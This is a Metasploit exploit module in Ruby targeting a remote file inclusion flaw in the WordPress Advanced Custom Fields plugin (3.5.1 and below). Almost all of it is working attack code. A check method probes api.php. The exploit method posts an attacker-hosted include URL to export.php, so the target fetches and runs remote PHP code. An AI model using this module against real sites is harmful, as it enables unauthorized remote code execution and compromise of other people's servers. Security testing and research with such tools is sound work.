WordPress Plugin Advanced Custom Fields Remote File Inclusion

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer::PHPInclude

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'WordPress Plugin Advanced Custom Fields Remote File Inclusion',
   'Description'    => %q{
     This module exploits a remote file inclusion flaw in the WordPress blogging
    software plugin known as Advanced Custom Fields. The vulnerability allows for remote
    file inclusion and remote code execution via the export.php script. The Advanced
    Custom Fields plug-in versions 3.5.1 and below are vulnerable. This exploit only
    works when the php option allow_url_include is set to On (Default Off).
   },
   'Author'         =>
    [
     'Charlie Eriksen <charlie@ceriksen.com>',
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['OSVDB', '87353'],
     ['URL', 'http://secunia.com/advisories/51037/'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      },
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Nov 14 2012',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('TARGETURI', [true, 'The full URI path to WordPress', '/']),
    OptString.new('PLUGINSPATH', [true, 'The relative path to the plugins folder', 'wp-content/plugins/']),
   ], self.class)
 end

 def check
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  uri << datastore['PLUGINSPATH']
  uri << '/' if uri[-1,1] != '/'

  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}advanced-custom-fields/core/api.php"
  })

  if res and res.code == 200
   return Exploit::CheckCode::Detected
  else
   return Exploit::CheckCode::Safe
  end
 end

 def php_exploit
  uri = target_uri.path
  uri << '/' if uri[-1,1] != '/'
  uri << datastore['PLUGINSPATH']
  uri << '/' if uri[-1,1] != '/'

  print_status('Sending request')
  res = send_request_cgi({
   'method' => 'POST',
   'uri'    => "#{uri}advanced-custom-fields/core/actions/export.php",
   'data'   => "acf_abspath=#{php_include_url}"
  })

  if res and res.body =~ /allow_url_include/
   fail_with(Exploit::Failure::NotVulnerable, 'allow_url_include is disabled')
  elsif res.code != 200
   fail_with(Exploit::Failure::UnexpectedReply, "Unexpected reply - #{res.code}")
  end

 end

end